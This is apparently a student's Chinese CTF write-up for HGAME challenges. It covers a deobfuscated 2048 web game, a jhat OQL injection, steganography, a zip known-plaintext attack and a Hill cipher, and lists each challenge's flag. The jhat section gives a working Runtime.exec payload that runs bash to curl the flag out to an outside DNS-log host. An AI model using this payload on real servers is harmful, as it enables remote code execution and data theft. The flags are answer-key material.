    this[x(438)][x(437)].remove("game-won"),
    this[x(438)][x(437)][x(465)](x(443))
}
;
function s0(x, n) {
    for (var e = h, t = 36 * 52 + -590 + -1282, r, a, o = -1 * -1971 + -678 + -1293, c = ""; a = x[e(442)](o++); ~a && (r = t % (-1 * 445 + -324 + -1 * -773) ? r * (-64 * 33 + -6548 + 8724) + a : a,
    t++ % (-268 * -25 + 166 * -37 + -277 * 2)) ? c += String[e(423)](7397 + 173 * 13 + 1 * -9391 & r >> (-2 * t & 1573 + -2423 * 1 + -856 * -1)) : 3978 + -26 * 153)
        a = n[e(481)](a);
    return c
}
function r0(x) {
    function n(e) {
        var t = F;
        if (typeof e === t(482))
            return (function(r) {}
            ).constructor(t(477))[t(467)](t(460));
        ("" + e / e)[t(479)] !== 1 * 2807 + -6187 + 3381 || e % 20 === -178 + 1 * 178 ? (function() {
            return !0
        }
        ).constructor(t(441) + t(447))[t(478)](t(417)) : (function() {
            return !1
        }
        )[t(421)](t(441) + t(447))[t(467)](t(494)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-12472 + -1559 * -8)
    } catch {}
}
var Z = E;
function N() {
    var x = ["action", "string", "2331990Smsoio", "length", "function *\\( *\\)", "call", "input", "stateObject", "counter", "930bExSFt", "savePosition", "while (true) {}", "chain", "98601tspbnR", "setInterval", "constructor", "10EjKgiA", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "value", "test", "mergedFrom", "init", "debu", "prototype", "56CjCzAS", "677128zAClZZ", "previousPosition", "75022iPEXCA", "15202JaLHoO", "apply", "581502egQFhJ", "gger", "531924HtjIlh", "51xGTVPz", "serialize"];
    return N = function() {
        return x
    }
    ,
    N()
}
(function(x, n) {
    for (var e = E, t = x(); ; )
        try {
            var r = parseInt(e(494)) / 1 + -parseInt(e(508)) / 2 * (-parseInt(e(514)) / 3) + -parseInt(e(513)) / 4 * (-parseInt(e(497)) / 5) + -parseInt(e(511)) / 6 + -parseInt(e(505)) / 7 * (parseInt(e(506)) / 8) + parseInt(e(483)) / 9 + -parseInt(e(490)) / 10 * (parseInt(e(509)) / 11);
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(N, 583658 + 587568 * -1 + 47 * 7717);
var d0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = E;
            if (e) {
                var a = e[r(510)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    d0(this, function() {
        var x = E
          , n = new RegExp(x(485))
          , e = new RegExp(x(498),"i")
          , t = U(x(502));
        !n[x(500)](t + x(493)) || !e[x(500)](t + x(487)) ? t("0") : U()
    })()
}
)(),
function() {
    var x = E
      , n = function() {
        var t;
        try {
            t = Function('return (function() {}.constructor("return this")( ));')()
        } catch {
            t = window
        }
        return t
    }
      , e = n();
    e[x(495)](U, 16859 + 1 * -15859)
}();
function j(x, n) {
    var e = E;
    this.x = x.x,
    this.y = x.y,
    this[e(499)] = n || 1 * -7427 + -3058 * 1 + 1 * 10487,
    this[e(507)] = null,
    this[e(501)] = null
}
function E(x, n) {
    var e = N();
    return E = function(t, r) {
        t = t - (-1 * -8571 + 8723 + -16813);
        var a = e[t];
        return a
    }
    ,
    E(x, n)
}
j[Z(504)][Z(491)] = function() {
    var x = Z;
    this[x(507)] = {
        x: this.x,
        y: this.y
    }
}
,
j.prototype.updatePosition = function(x) {
    this.x = x.x,
    this.y = x.y
}
,
j[Z(504)][Z(515)] = function() {
    var x = Z;
    return {
        position: {
            x: this.x,
            y: this.y
        },
        value: this[x(499)]
    }
}
;
function U(x) {
    function n(e) {
        var t = E;
        if (typeof e === t(482))
            return (function(r) {}
            )[t(496)](t(492))[t(510)](t(489));
        ("" + e / e)[t(484)] !== -15 * -79 + 247 + -1431 || e % (-514 + -1111 * -3 + -2799) === -4847 * 2 + 3 * -2528 + -106 * -163 ? (function() {
            return !0
        }
        )[t(496)](t(503) + t(512))[t(486)](t(481)) : (function() {
            return !1
        }
        )[t(496)](t(503) + t(512))[t(510)](t(488)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-7 * -1262 + -1 * -5197 + -14031)
    } catch {}
}
var d = O;
(function(x, n) {
    for (var e = O, t = x(); ; )
        try {
            var r = parseInt(e(404)) / 1 + -parseInt(e(420)) / 2 + -parseInt(e(396)) / 3 + parseInt(e(397)) / 4 + parseInt(e(428)) / 5 * (-parseInt(e(403)) / 6) + -parseInt(e(430)) / 7 + -parseInt(e(401)) / 8 * (-parseInt(e(410)) / 9);
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(D, 1 * -6711 + 18616 + 263022);
var h0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = O;
            if (e) {
                var a = e[r(424)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    h0(this, function() {
        var x = O
          , n = new RegExp(x(415))
          , e = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
          , t = a0(x(417));
        !n[x(423)](t + x(429)) || !e[x(423)](t + "input") ? t("0") : a0()
    })()
}
)();
function _(x, n) {
    var e = O;
    this[e(389)] = x,
    this.cells = n ? this.fromState(n) : this[e(402)]()
}
_[d(400)][d(402)] = function() {
    for (var x = d, n = [], e = -8210 + 2 * 4105; e < this[x(389)]; e++)
        for (var t = n[e] = [], r = 6767 + -1294 * 7 + 2291; r < this[x(389)]; r++)
            t[x(394)](null);
    return n
}
,
_[d(400)][d(421)] = function(x) {
    for (var n = d, e = [], t = -129 * -6 + -1 * 467 + -307; t < this[n(389)]; t++)
        for (var r = e[t] = [], a = 33 * 127 + 3607 + -1 * 7798; a < this[n(389)]; a++) {
            var o = x[t][a];
            r[n(394)](o ? new j(o.position,o[n(425)]) : null)
        }
    return e
}
,
_[d(400)][d(419)] = function() {
    var x = d
      , n = this[x(418)]();
    if (n[x(388)])
        return n[Math[x(427)](Math[x(426)]() * n[x(388)])]
}
,
_.prototype[d(418)] = function() {
    var x = d
      , n = [];
    return this[x(406)](function(e, t, r) {
        var a = x;
        !r && n[a(394)]({
            x: e,
            y: t
        })
    }),
    n
}
,
_[d(400)].eachCell = function(x) {
    for (var n = d, e = 4539 + 267 * -17; e < this[n(389)]; e++)
        for (var t = 0; t < this[n(389)]; t++)
            x(e, t, this[n(416)][e][t])
}
,
_[d(400)][d(412)] = function() {
    return !!this.availableCells().length
}
,
_[d(400)][d(399)] = function(x) {
    return !this.cellOccupied(x)
}
,
_[d(400)][d(408)] = function(x) {
    var n = d;
    return !!this[n(395)](x)
}
,
_[d(400)][d(395)] = function(x) {
    var n = d;
    return this[n(411)](x) ? this[n(416)][x.x][x.y] : null
}
,
function() {
    var x = d, n;
    try {
        var e = Function("return (function() " + x(390) + ");");
        n = e()
    } catch {
        n = window
    }
    n.setInterval(a0, -517 * -1 + 5411 + -4928)
}(),
_.prototype[d(393)] = function(x) {
    var n = d;
    this[n(416)][x.x][x.y] = x
}
,
_[d(400)][d(398)] = function(x) {
    this.cells[x.x][x.y] = null
}
,
_.prototype[d(411)] = function(x) {
    var n = d;
    return x.x >= 5877 + -3856 * -1 + 9733 * -1 && x.x < this[n(389)] && x.y >= 697 * -1 + -1 * 8273 + 299 * 30 && x.y < this[n(389)]
}
,
_[d(400)][d(387)] = function() {
    for (var x = d, n = [], e = 1 * -6968 + 2086 + 1 * 4882; e < this[x(389)]; e++)
        for (var t = n[e] = [], r = -1287 + -929 * -5 + -2 * 1679; r < this[x(389)]; r++)
            t[x(394)](this[x(416)][e][r] ? this[x(416)][e][r][x(387)]() : null);
    return {
        size: this[x(389)],
        cells: n
    }
}
;
function O(x, n) {
    var e = D();
    return O = function(t, r) {
        t = t - (8770 + 83 * -101);
        var a = e[t];
        return a
    }
    ,
    O(x, n)
}
function D() {
    var x = ["action", "eachCell", "constructor", "cellOccupied", "stateObject", "9kQcxIS", "withinBounds", "cellsAvailable", "gger", "debu", "function *\\( *\\)", "cells", "init", "availableCells", "randomAvailableCell", "1037834aqvBTd", "fromState", "string", "test", "apply", "value", "random", "floor", "21065pnVeLd", "chain", "3727521OBIvOi", "serialize", "length", "size", '{}.constructor("return this")( )', "counter", "call", "insertTile", "push", "cellContent", "475407jFkWoH", "2046960kuDgMC", "removeTile", "cellAvailable", "prototype", "8528552OwSHVa", "empty", "696EXOAbH", "395715eoiAeO"];
    return D = function() {
        return x
    }
    ,
    D()
}
function a0(x) {
    function n(e) {
        var t = O;
        if (typeof e === t(422))
            return (function(r) {}
            )[t(407)]("while (true) {}")[t(424)](t(391));
        ("" + e / e).length !== -1033 * 6 + -350 + 6549 || e % (5291 + 1 * -5271) === 2 * 3697 + 2199 + -9593 ? (function() {
            return !0
        }
        )[t(407)](t(414) + "gger")[t(392)](t(405)) : (function() {
            return !1
        }
        )[t(407)]("debu" + t(413))[t(424)](t(409)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(4132 + -4 * 1033)
    } catch {}
}
var l = I;
(function(x, n) {
    for (var e = I, t = x(); ; )
        try {
            var r = parseInt(e(484)) / 1 * (parseInt(e(474)) / 2) + -parseInt(e(458)) / 3 + -parseInt(e(488)) / 4 * (parseInt(e(463)) / 5) + parseInt(e(471)) / 6 * (parseInt(e(485)) / 7) + parseInt(e(461)) / 8 + parseInt(e(478)) / 9 + parseInt(e(483)) / 10;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(X, -503839 + -17 * -25951 + 813673);
var b0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = I;
            if (e) {
                var a = e[r(455)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
function X() {
    var x = ["4BRwjbw", "bestScoreKey", "localStorage", "string", "length", "constructor", "removeItem", "parse", "test", "gameStateKey", "return (function() ", "localStorageSupported", "apply", "storage", "action", "4267836FNkXGc", "counter", "setItem", "9517960ZohRcm", "debu", "6902785OIOCVl", "setBestScore", "clearGameState", "stateObject", '{}.constructor("return this")( )', "_data", "stringify", "gger", "38418CWiVdF", "hasOwnProperty", "fakeStorage", "155438SLEaSd", "init", "call", "while (true) {}", "8567001aLpBtY", "prototype", "getBestScore", "setGameState", "bestScore", "11866650vFDDKJ", "2KOLAeW", "77YarLkr", "getItem", "setInterval"];
    return X = function() {
        return x
    }
    ,
    X()
}
(function() {
    b0(this, function() {
        var x = I
          , n = new RegExp("function *\\( *\\)")
          , e = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
          , t = x0(x(475));
        !n[x(451)](t + "chain") || !e[x(451)](t + "input") ? t("0") : x0()
    })()
}
)(),
function() {
    var x = I
      , n = function() {
        var t = I, r;
        try {
            r = Function(t(453) + t(467) + ");")()
        } catch {
            r = window
        }
        return r
    }
      , e = n();
    e[x(487)](x0, 83 * 96 + 695 + -79 * 97)
}(),
window[l(473)] = {
    _data: {},
    setItem: function(x, n) {
        var e = l;
        return this[e(468)][x] = String(n)
    },
    getItem: function(x) {
        var n = l;
        return this[n(468)][n(472)](x) ? this[n(468)][x] : void 0
    },
    removeItem: function(x) {
        var n = l;
        return delete this[n(468)][x]
    },
    clear: function() {
        var x = l;
        return this[x(468)] = {}
    }
};
function M() {
    var x = l;
    this[x(489)] = x(482),
    this[x(452)] = "gameState";
    var n = !1;
    this[x(456)] = n ? window.localStorage : window.fakeStorage
}
function I(x, n) {
    var e = X();
    return I = function(t, r) {
        t = t - (-4245 * -1 + -4009 + 210);
        var a = e[t];
        return a
    }
    ,
    I(x, n)
}
M[l(479)][l(454)] = function() {
    var x = l
      , n = "test";
    try {
        var e = window[x(490)];
        return e[x(460)](n, "1"),
        e[x(449)](n),
        !0
    } catch {
        return !1
    }
}
,
M[l(479)][l(480)] = function() {
    var x = l;
    return this[x(456)][x(486)](this[x(489)]) || 1 * -4924 + -7 * -367 + 2355
}
,
M[l(479)][l(464)] = function(x) {
    var n = l;
    this[n(456)][n(460)](this.bestScoreKey, x)
}
,
M[l(479)].getGameState = function() {
    var x = l
      , n = this[x(456)][x(486)](this[x(452)]);
    return n ? JSON[x(450)](n) : null
}
,
M[l(479)][l(481)] = function(x) {
    var n = l;
    this[n(456)][n(460)](this.gameStateKey, JSON[n(469)](x))
}
,
M.prototype[l(465)] = function() {
    var x = l;
    this[x(456)].removeItem(this[x(452)])
}
;
function x0(x) {
    function n(e) {
        var t = I;
        if (typeof e === t(446))
            return (function(r) {}
            ).constructor(t(477)).apply(t(459));
        ("" + e / e)[t(447)] !== 4176 + -5326 * -1 + -9501 * 1 || e % (-1 * -3688 + -94 * 86 + 4416) === 194 * -16 + 4078 * 2 + -5052 ? (function() {
            return !0
        }
        )[t(448)]("debu" + t(470))[t(476)](t(457)) : (function() {
            return !1
        }
        ).constructor(t(462) + "gger")[t(455)](t(466)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-1 * -9599 + -7568 + -1 * 2031)
    } catch {}
}
var u = P;
(function(x, n) {
    for (var e = P, t = x(); ; )
        try {
            var r = parseInt(e(495)) / 1 * (-parseInt(e(458)) / 2) + -parseInt(e(530)) / 3 + -parseInt(e(507)) / 4 * (-parseInt(e(483)) / 5) + -parseInt(e(469)) / 6 * (parseInt(e(481)) / 7) + -parseInt(e(479)) / 8 + parseInt(e(526)) / 9 + parseInt(e(508)) / 10;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(H, -6 * 29030 + 363338 + 9589);
function H() {
    var x = ["keepPlaying", "serialize", "buildTraversals", "push", "call", "mergedFrom", "findFarthestPosition", "setGameState", "addStartTiles", "restart", "forEach", "2264940zJtqhT", "F12", "init", "movesAvailable", "1142334gNKDYE", "apply", "debu", "cellAvailable", "farthest", "input", "score", "arguments", "tileMatchesAvailable", "over", "chain", "13394jxqiQP", "getBestScore", "won", "cells", "actuator", "cellContent", "isGameTerminated", "prototype", "insertTile", "onkeydown", "getGameState", "2946IZuMmd", "bind", "startTiles", "savePosition", "counter", "value", "onkeyup", "move", "randomAvailableCell", "removeTile", "1843376XPvtvR", "moveTile", "721ltAWez", "constructor", "55iAhFQf", "document", "oncontextmenu", "grid", "getVector", "clearGameState", "cellsAvailable", "storageManager", "size", "caller", "while (true) {}", "random", "29UKmvdu", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "preventDefault", "next", "updatePosition", "withinBounds", "prepareTiles", "stateObject", "addRandomTile", "positionsEqual", "test", "eachCell", "103376BBPxKK", "5187890qzzRDY", "length", "return (function() ", "inputManager", "actuate", "setInterval", "key"];
    return H = function() {
        return x
    }
    ,
    H()
}
var l0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = P;
            if (e) {
                var a = e[r(531)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
function P(x, n) {
    var e = H();
    return P = function(t, r) {
        t = t - (4787 * -1 + -1571 + -11 * -619);
        var a = e[t];
        return a
    }
    ,
    P(x, n)
}
(function() {
    l0(this, function() {
        var x = P
          , n = new RegExp("function *\\( *\\)")
          , e = new RegExp(x(496),"i")
          , t = c0(x(528));
        !n.test(t + x(457)) || !e[x(505)](t + x(452)) ? t("0") : c0()
    })()
}
)();
function v(x, n, e, t) {
    var r = P;
    this[r(491)] = x,
    this.inputManager = new n,
    this[r(490)] = new t,
    this[r(462)] = new e,
    this[r(471)] = 6396 + 1 * 175 + -6569 * 1,
    this[r(511)].on(r(476), this[r(476)][r(470)](this)),
    this.inputManager.on(r(524), this.restart.bind(this)),
    this[r(511)].on("keepPlaying", this[r(515)][r(470)](this)),
    this.setup()
}
v[u(465)][u(524)] = function() {
    var x = u;
    this.storageManager[x(488)](),
    this.actuator.continueGame(),
    this.setup()
}
,
v[u(465)][u(515)] = function() {
    var x = u;
    this[x(515)] = !0,
    this.actuator.continueGame()
}
,
v[u(465)][u(464)] = function() {
    var x = u;
    return this[x(456)] || this[x(460)] && !this[x(515)]
}
,
v[u(465)].setup = function() {
    var x = u
      , n = this[x(490)][x(468)]();
    window[x(484)][x(485)] = function() {
        return !1
    }
    ,
    n ? (this[x(486)] = new _(n[x(486)][x(491)],n[x(486)][x(461)]),
    this[x(453)] = n[x(453)],
    this[x(456)] = n[x(456)],
    this[x(460)] = n[x(460)],
    this[x(515)] = n[x(515)]) : (this[x(486)] = new _(this.size),
    this[x(453)] = 0,
    this[x(456)] = !1,
    this[x(460)] = !1,
    this[x(515)] = !1,
    this.addStartTiles()),
    document[x(467)] = document[x(475)] = function(e) {
        var t = x
          , r = e || arguments.callee[t(492)][t(454)][9 * 1 + -7349 + 7340];
        r && r[t(514)] == t(527) && r[t(497)]()
    }
    ,
    this[x(512)]()
}
,
v.prototype[u(523)] = function() {
    for (var x = u, n = 7208 + -5 * 1772 + -4 * -413; n < this[x(471)]; n++)
        this[x(503)]()
}
,
v.prototype[u(503)] = function() {
    var x = u;
    if (this[x(486)].cellsAvailable()) {
        var n = Math[x(494)]() < .9 ? 2 : 4
          , e = new j(this.grid[x(477)](),n);
        this[x(486)][x(466)](e)
    }
}
,
v[u(465)][u(512)] = function() {
    var x = u;
    this[x(490)].getBestScore() < this[x(453)] && this[x(490)].setBestScore(this[x(453)]),
    this.over ? this.storageManager[x(488)]() : this[x(490)][x(522)](this[x(516)]()),
    this[x(462)].actuate(this[x(486)], {
        score: this[x(453)],
        over: this[x(456)],
        won: this[x(460)],
        bestScore: this[x(490)][x(459)](),
        terminated: this[x(464)]()
    })
}
,
v.prototype[u(516)] = function() {
    var x = u;
    return {
        grid: this[x(486)][x(516)](),
        score: this.score,
        over: this[x(456)],
        won: this[x(460)],
        keepPlaying: this.keepPlaying
    }
}
,
v[u(465)][u(501)] = function() {
    var x = u;
    this[x(486)][x(506)](function(n, e, t) {
        var r = x;
        t && (t.mergedFrom = null,
        t[r(472)]())
    })
}
,
function() {
    var x = u, n;
    try {
        var e = Function(x(510) + '{}.constructor("return this")( ));');
        n = e()
    } catch {
        n = window
    }
    n[x(513)](c0, -1263 + 1721 * 4 + -4621)
}(),
v[u(465)].moveTile = function(x, n) {
    var e = u;
    this.grid[e(461)][x.x][x.y] = null,
    this.grid[e(461)][n.x][n.y] = x,
    x.updatePosition(n)
}
,
v[u(465)][u(476)] = function(x) {
    var n = u
      , e = this;
    if (!this[n(464)]()) {
        var t, r, a = this[n(487)](x), o = this[n(517)](a), c = !1;
        this[n(501)](),
        o.x[n(525)](function(i) {
            var f = n;
            o.y[f(525)](function(b) {
                var s = f;
                if (t = {
                    x: i,
                    y: b
                },
                r = e[s(486)][s(463)](t),
                r) {
                    var p = e.findFarthestPosition(t, a)
                      , y = e.grid[s(463)](p[s(498)]);
                    if (y && y.value === r[s(474)] && !y[s(520)]) {
                        var R = new j(p.next,r[s(474)] * 2);
                        R[s(520)] = [r, y],
                        e.grid.insertTile(R),
                        e.grid[s(478)](r),
                        r[s(499)](p[s(498)]),
                        e[s(453)] += R[s(474)],
                        R[s(474)] === 1 * -16904 + 734 * -8 + 106 * 524 && (e[s(460)] = !0)
                    } else
                        e[s(480)](r, p[s(451)]);
                    !e.positionsEqual(t, r) && (c = !0)
                }
            })
        }),
        c && (this[n(503)](),
        !this[n(529)]() && (this.over = !0),
        this[n(512)]())
    }
}
,
v[u(465)][u(487)] = function(x) {
    var n = {
        0: {
            x: 0,
            y: -1
        },
        1: {
            x: 1,
            y: 0
        },
        2: {
            x: 0,
            y: 1
        },
        3: {
            x: -1,
            y: 0
        }
    };
    return n[x]
}
,
v[u(465)][u(517)] = function(x) {
    for (var n = u, e = {
        x: [],
        y: []
    }, t = -1 * 3907 + 7316 + -3409; t < this.size; t++)
        e.x[n(518)](t),
        e.y[n(518)](t);
    return x.x === 1993 + 6065 * 1 + -8057 * 1 && (e.x = e.x.reverse()),
    x.y === 3671 + 3121 * 2 + -9912 && (e.y = e.y.reverse()),
    e
}
,
v[u(465)][u(521)] = function(x, n) {
    var e = u, t;
    do
        t = x,
        x = {
            x: t.x + n.x,
            y: t.y + n.y
        };
    while (this[e(486)][e(500)](x) && this[e(486)][e(533)](x));
    return {
        farthest: t,
        next: x
    }
}
,
v[u(465)][u(529)] = function() {
    var x = u;
    return this[x(486)][x(489)]() || this[x(455)]()
}
,
v[u(465)].tileMatchesAvailable = function() {
    for (var x = u, n = this, e, t = 0; t < this[x(491)]; t++)
        for (var r = 7590 + 2 * 3521 + -14632; r < this[x(491)]; r++)
            if (e = this[x(486)][x(463)]({
                x: t,
                y: r
            }),
            e)
                for (var a = 20 * -367 + 2294 * 4 + -102 * 18; a < 4581 + -595 * 7 + -2 * 206; a++) {
                    var o = n.getVector(a)
                      , c = {
                        x: t + o.x,
                        y: r + o.y
                    }
                      , i = n[x(486)][x(463)](c);
                    if (i && i.value === e[x(474)])
                        return !0
                }
    return !1
}
,
v[u(465)][u(504)] = function(x, n) {
    return x.x === n.x && x.y === n.y
}
;
function c0(x) {
    function n(e) {
        var t = P;
        if (typeof e == "string")
            return (function(r) {}
            )[t(482)](t(493)).apply(t(473));
        ("" + e / e)[t(509)] !== -6197 + 3607 * 1 + -1 * -2591 || e % (-5 * -949 + -1 * -2874 + 1 * -7599) === 4 * 1023 + -60 * -29 + 9 * -648 ? (function() {
            return !0
        }
        ).constructor(t(532) + "gger")[t(519)]("action") : (function() {
            return !1
        }
        ).constructor("debugger")[t(531)](t(502)),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(5 * 1029 + -4710 + -435)
    } catch {}
}
var v0 = T;
(function(x, n) {
    for (var e = T, t = x(); ; )
        try {
            var r = parseInt(e(391)) / 1 * (parseInt(e(368)) / 2) + -parseInt(e(370)) / 3 * (parseInt(e(390)) / 4) + parseInt(e(387)) / 5 * (-parseInt(e(369)) / 6) + -parseInt(e(374)) / 7 + -parseInt(e(388)) / 8 + -parseInt(e(365)) / 9 + parseInt(e(392)) / 10;
            if (r === n)
                break;
            t.push(t.shift())
        } catch {
            t.push(t.shift())
        }
}
)(J, -299 * 758 + -1 * -157725 + 498169 * 1);
var p0 = function() {
    var x = !0;
    return function(n, e) {
        var t = x ? function() {
            var r = T;
            if (e) {
                var a = e[r(383)](n, arguments);
                return e = null,
                a
            }
        }
        : function() {}
        ;
        return x = !1,
        t
    }
}();
(function() {
    p0(this, function() {
        var x = T
          , n = new RegExp(x(373))
          , e = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)","i")
          , t = i0(x(366));
        !n[x(367)](t + x(385)) || !e[x(367)](t + x(372)) ? t("0") : i0()
    })()
}
)();
(function() {
    var x = function() {
        var e = T, t;
        try {
            t = Function(e(389) + e(384) + ");")()
        } catch {
            t = window
        }
        return t
    }
      , n = x();
    n.setInterval(i0, 1 * 3457 + -9739 * 1 + -7282 * -1)
}
)();
function J() {
    var x = ["181928AslSjl", "318AtMHZw", "1113dxpANX", "constructor", "input", "function *\\( *\\)", "2202669fSQzZE", "length", "counter", "gger", "requestAnimationFrame", "while (true) {}", "string", "call", "debu", "apply", '{}.constructor("return this")( )', "chain", "action", "6555bOpQuy", "4616160CRMUPn", "return (function() ", "844HYfGmR", "1TdXVXt", "16024110uynBtN", "2022048blZUcG", "init", "test"];
    return J = function() {
        return x
    }
    ,
    J()
}
window[v0(378)](function() {
    new v(-2123 * 3 + -9990 + 16363,k,g,M)
});
function T(x, n) {
    var e = J();
    return T = function(t, r) {
        t = t - (174 + -212 * 1 + 403);
        var a = e[t];
        return a
    }
    ,
    T(x, n)
}
function i0(x) {
    function n(e) {
        var t = T;
        if (typeof e === t(380))
            return (function(r) {}
            )[t(371)](t(379))[t(383)](t(376));
        ("" + e / e)[t(375)] !== -52 * 18 + -1765 * -3 + -4358 || e % (1742 * 4 + -1277 * 1 + -107 * 53) === 2481 + -4953 * -1 + 531 * -14 ? (function() {
            return !0
        }
        )[t(371)](t(382) + t(377))[t(381)](t(386)) : (function() {
            return !1
        }
        ).constructor(t(382) + t(377))[t(383)]("stateObject"),
        n(++e)
    }
    try {
        if (x)
            return n;
        n(-4066 + -1 * 2377 + -379 * -17)
    } catch {}
}

关键代码

这段代码在设置游戏胜负的相关逻辑

g[h(432)][h(469)] = function(x) {
    var n = h
      , e = x ? "game-won" : n(443)
      , t = x ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453);
    this[n(438)][n(437)].add(e),
    this[n(438)][n(435)]("p")[-1257 * -5 + 9 * 1094 + -5377 * 3].textContent = t
}

这段代码定义了三个变量:ne 和 t

  • 变量 n 被赋值为 h
  • 变量 e 的值是一个条件表达式 x ? "game-won" : n(443)。如果 x 为真,则 e 的值为字符串 "game-won";如果 x 为假,则 e 的值由 n(443) 的结果决定。
  • 变量 t 的值也是一个条件表达式 x ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453)。如果 x 为真,则 t 的值由 s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") 的结果决定;如果 x 为假,则 t 的值由 n(453) 的结果决定。

修改代码即可放到控制台运行:直接设置游戏成功

image.png

flag

flag{b99b820f-934d-44d4-93df-41361df7df2d}

web-jhat

考点

  • java jhat oql导致的rce

分析

题目界面是jhat工具解析java堆存储文件后启动的web server的http服务

jhat还提供了一种对象查询语言(Object Query Language),OQL有点类似SQL,可以用来查询。

OQL语句的执行页面: http://localhost:7000/oql/

OQL帮助信息页面为: http://localhost:7000/oqlhelp/

在最下面可以可以进入oql语句执行的查询界面

参考文章

image.png

payload

利用java.lang.Runtime.getRuntime().exec()来rce

  • java.lang.RuntimeRuntime 是 Java 中的一个类,它提供了与运行时环境交互的方法。getRuntime() 是 Runtime 类的一个静态方法,用于获取当前运行时环境的实例。

  • exec(command)exec() 是 Runtime 类的一个实例方法,用于执行指定的命令。它接受一个字符串参数 command,该参数表示要执行的命令。

java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5kcWlxdWpvcmttLmRncmgzLmNu}|{base64,-d}|{bash,-i}')

其中:Y3VybCBgY2F0IC9mbGFnYC5kcWlxdWpvcmttLmRncmgzLmNu
等效:curl `cat /flag`.dqiqujorkm.dgrh3.cn

dnslog外带出flag

image.png

flag

hgame{484f6a185f0223969845bfdb0cb495d0f41cacdb}

misc-signin

9574725865cb85c6ba4ff29f4dfcbe4b.png

斜着看图片直接看出来flag

hagme{WOW_GREAT_YOU_SEE_IT_WONDERFUL}

misc-签到

扫码就送

misc-来自星尘的问候

考点

  • steghide隐写文件
  • 怪异字体对比

    分析

image.png

下载附件得到一个secret.jpg,还挺好看的

secret.jpg

seceret.jpg用steghide,根据题目描述猜测密码123456得到secret.zip(也可以直接跑字典)

image.png

谷歌识图得到游戏名为来自星尘

exa.png的文字如下

知道文字名叫异星字体

image.png
image.png

对比得到flag

flag

hgame{welc0me!}

misc-simple_attack

考点

  • zip压缩包明文攻击

分析

下载附件得到一个zip

解压可以得到一个jpg和又一个zip

而且新的zip里面有一个txt和jpg但都被加密了的

关键是:内外两个jpg的大小是几乎一样的

符合明文攻击条件

- 找到压缩包内其中一个**已知的文件**(**文件大小要大于12Byte**),用相同的压缩软件压缩算法去压缩无密码压缩包,得到明文。
- 通过比较两个压缩包相同位置不同的12个字节,就可以还原出3个key,绕过密码提取出所有的文件。
- 注意明文攻击需要**CRC32值相同**才行。

注意压缩包要选择正常压缩选项

image.png

然后点击开始后,当进入长达几个小时的口令扫描阶段就可以停止了

image.png

然后会得到一个新的攻击解密后的zip

解压可以看到txt已经可以正常打开了

txt是一段base64文本,一眼base64转图片

ee12234a6a548c2085b707f8bb0d11fe.png

flag

hgame{s1mple_attack_for_zip}

misc-希尔希尔希尔

考点

  • png宽高修复
  • png图片隐写txt文件
  • png的LSB隐写
  • 希尔加密

    分析

image.png

下载附件得到一个png

image.png

foremost提出东西secret.txt

CVOCRJGMKLDJGBQIUIVXHEYLPNWR

png一把梭修复图片然后LSB隐写得到key

image.png

https://ctf.bugku.com/tool/hill 在线解密网站

image.png

flag

hgame{DISAPPEARINTHESEAOFBUTTERFLY}

大一在读菜鸡ctfer的成长记录